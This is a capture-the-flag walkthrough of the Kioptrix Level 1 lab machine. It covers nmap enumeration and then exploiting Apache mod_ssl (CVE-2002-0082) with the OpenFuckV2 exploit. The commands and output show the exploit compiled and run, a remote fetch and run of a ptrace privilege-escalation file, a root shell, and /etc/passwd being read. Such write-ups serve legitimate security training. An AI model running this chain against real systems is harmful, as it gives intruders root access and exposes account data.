The object of the game is to acquire root access via any means possible (except actually hacking the VM server or player). The purpose of these games are to learn the basic tools and techniques in vulnerability assessment and exploitation. There are more ways then one to successfully complete the challenges.

Get the Machine's IP

Let’s send some ARP requests with netdiscover to discover the machine. The IP address depends on what type of network access you gave your VM. Mine is running on VMware (my kali machine on VirtualBox), and i set the network setting to Autodetect, so that it appears as an additional computer on the same physical network my host is running.

Running netdiscover -r

Currently scanning:   |   Screen View: Unique Hosts

 6 Captured ARP Req/Rep packets, from 5 hosts.   Total size: 360
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname
 -----------------------------------------------------------------------------  00:0c:29:3a:f2:3a      1      60  VMware, Inc.

The above output is truncated for personal reasons.

Enumeration Phase

The next step is to run nmap, and see what we can find.
The command is: nmap -sS -A -n -oN kioptix_1.

Nmap options:

  • -sS: Stealth Scan to perform a TCP SYN connect , wait for a SYN/ACK reply(to see which ports are open), and then send a RST to break the connection.
  • -A: Enable OS detection, service version detection, script scanning, and traceroute.
  • -n: Don’t use DNS.
  • -oN: Send normal output to a file.
# Nmap 7.80 scan initiated Fri Sep 20 08:53:14 2019 as: nmap -sS -A -n -o kioptix_1
Nmap scan report for
Host is up (0.00071s latency).
Not shown: 994 closed ports
22/tcp   open  ssh         OpenSSH 2.9p2 (protocol 1.99)
| ssh-hostkey:
|   1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
|   1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
|_  1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
|_sshv1: Server supports SSHv1
80/tcp   open  http        Apache httpd 1.3.20 ((Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: Test Page for the Apache Web Server on Red Hat Linux
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp  open  ssl/https   Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-server-header: Apache/1.3.20 (Unix)  (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: 400 Bad Request
|_ssl-date: 2019-09-20T04:56:13+00:00; +1m51s from scanner time.
| sslv2:
|   SSLv2 supported
|   ciphers:
|     SSL2_RC4_128_WITH_MD5
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
|     SSL2_RC2_128_CBC_WITH_MD5
|     SSL2_RC4_64_WITH_MD5
|     SSL2_RC4_128_EXPORT40_WITH_MD5
|     SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|_    SSL2_DES_64_CBC_WITH_MD5
1024/tcp open  status      1 (RPC #100024)
MAC Address: 00:0C:29:3A:F2:3A (VMware)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:linux_kernel:2.4
OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
Network Distance: 1 hop

Host script results:
|_clock-skew: 1m50s
|_nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_smb2-time: Protocol negotiation failed (SMB2)

1   0.71 ms

OS and Service detection performed. Please report any incorrect results at .
# Nmap done at Fri Sep 20 08:55:21 2019 -- 1 IP address (1 host up) scanned in 127.44 seconds

Kioptrix Level 1 was created in the year 2010 so, all services are outdated and vulnerable! It’s a good start for a beginner.

Exploiting Apache and OpenSSL/mod_ssl

  • Apache version: httpd 1.3.20 (running on red-hat)
  • mod_ssl: 2.8.4
  • OpenSSL: 0.9.6b

Apache with mod_ssl versions prior to 2.8.7, is vulnerable to a remote buffer overflow which may allow a remote shell. CVE-2002-0082.

Back then, mod_ssl was optional. Now, it’s built into apache. Let’s use searchsploit (the local exploit db) to look for exploits:

root@kali:~# searchsploit apache mod_ssl
----------------------------------------------------------- ----------------------------------------
 Exploit Title                                             |  Path
                                                           | (/usr/share/exploitdb/)
----------------------------------------------------------- ----------------------------------------
Apache mod_ssl 2.0.x - Remote Denial of Service            | exploits/linux/dos/24590.txt
Apache mod_ssl 2.8.x - Off-by-One HTAccess Buffer Overflow | exploits/multiple/dos/21575.txt
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffe | exploits/unix/remote/21671.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buf | exploits/unix/remote/47080.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buf | exploits/unix/remote/764.c
Apache mod_ssl OpenSSL < 0.9.6d / < 0.9.7-beta2 - 'openssl | exploits/unix/remote/40347.txt
----------------------------------------------------------- ----------------------------------------
Shellcodes: No Result

OpenFuckv2 - 47080 is the latest version. Let’s find its location:

root@kali:~# searchsploit -p 47080
  Exploit: Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2)
     Path: /usr/share/exploitdb/exploits/unix/remote/47080.c
File Type: C source, ASCII text, with CRLF line terminators

I’ll make a copy, install libssl-dev(a requirement), and then compile it:

root@kali:~# mv 47080.c openfuckv2.c
root@kali:~# apt-get install libssl-dev -y &> /dev/null
root@kali:~# gcc -o openfuckv2 openfuckv2.c -lcrypto

You don’t have to modify the exploit. All libraries are updated. Let’s take a look at its usage:

root@kali:~# ./openfuckv2 

* OpenFuck v3.0.4-root priv8 by SPABAM based on openssl-too-open *
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *

: Usage: ./openfuckv2 target box [port] [-c N]

  target - supported box eg: 0x00
  box - hostname or IP address
  port - port for ssl connection
  -c open N connections. (use range 40-50 if u dont know)

There’s only two offsets that can be used:

  • 0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1
  • 0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2

We’re good to go. Let’s run the exploit:

root@kali:~# ./openfuckv2 0x6b 443 -c 40

* OpenFuck v3.0.4-root priv8 by SPABAM based on openssl-too-open *
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *

Connection... 40 of 40
Establishing SSL connection
cipher: 0x4043808c   ciphers: 0x80f8050
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
.c; ./exploit; -kmod.c; gcc -o exploit ptrace-kmod.c -B /usr/bin; rm ptrace-kmod 
           => `ptrace-kmod.c'
Connecting to connected!
HTTP request sent, awaiting response... 301 Moved Permanently
Location: [following]
           => `ptrace-kmod.c'
Connecting to connected!
HTTP request sent, awaiting response... 200 OK
Length: 3,921 [text/x-csrc]

    0K ...                                                   100% @   3.74 MB/s

02:01:44 (1.87 MB/s) - `ptrace-kmod.c' saved [3921/3921]

gcc: file path prefix `/usr/bin' never used
[+] Attached to 6409
[+] Signal caught
[+] Shellcode placed at 0x4001189d
[+] Now wait for suid shell...
cat /etc/passwd
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/bin/false
rpc:x:32:32:Portmapper RPC user:/:/bin/false
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/bin/false
ident:x:98:98:pident user:/:/sbin/nolcat /etc/passwd
radvd:x:75:75:radvd user:/:/bin/false
postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash

Good Bye!

It worked :D

There’s a lot of ways to gain a remote shell on this machine. g0tmi1k’s methodologies are the best. I haven’t used his though. He also uses a script to cover his tracks.

If you try to re-run the exploit, you’ll get an error like the one below:

/usr/bin/ld: cannot open output file exploit: Permission denied
collect2: ld returned 1 exit status
gcc: file path prefix `/usr/bin' never used

Don’t worry, you’ll still get a shell:

/usr/bin/ld: cannot open output file exploit: Permission denied
collect2: ld returned 1 exit status
gcc: file path prefix `/usr/bin' never used

echo "Pwned!!!!"
Mail version 8.1 6/6/93.  Type ? for help.
"/var/mail/root": 3 messages 2 new 3 unread
 U  1 root@kioptix.level1   Sat Sep 26 11:42  15/481   "About Level 2"
>N  2 root@kioptrix.level1  Fri Sep 20 00:53  18/524   "LogWatch for kioptrix"
 N  3 root@kioptrix.level1  Fri Sep 20 04:02  18/524   "LogWatch for kioptrix"
Message 1:
From root  Sat Sep 26 11:42:10 2009
Date: Sat, 26 Sep 2009 11:42:10 -0400
From: root <root@kioptix.level1>
To: root@kioptix.level1
Subject: About Level 2

If you are reading this, you got root. Congratulations.
Level 2 won't be as easy...

For a beginner like me, it was a stepping stone.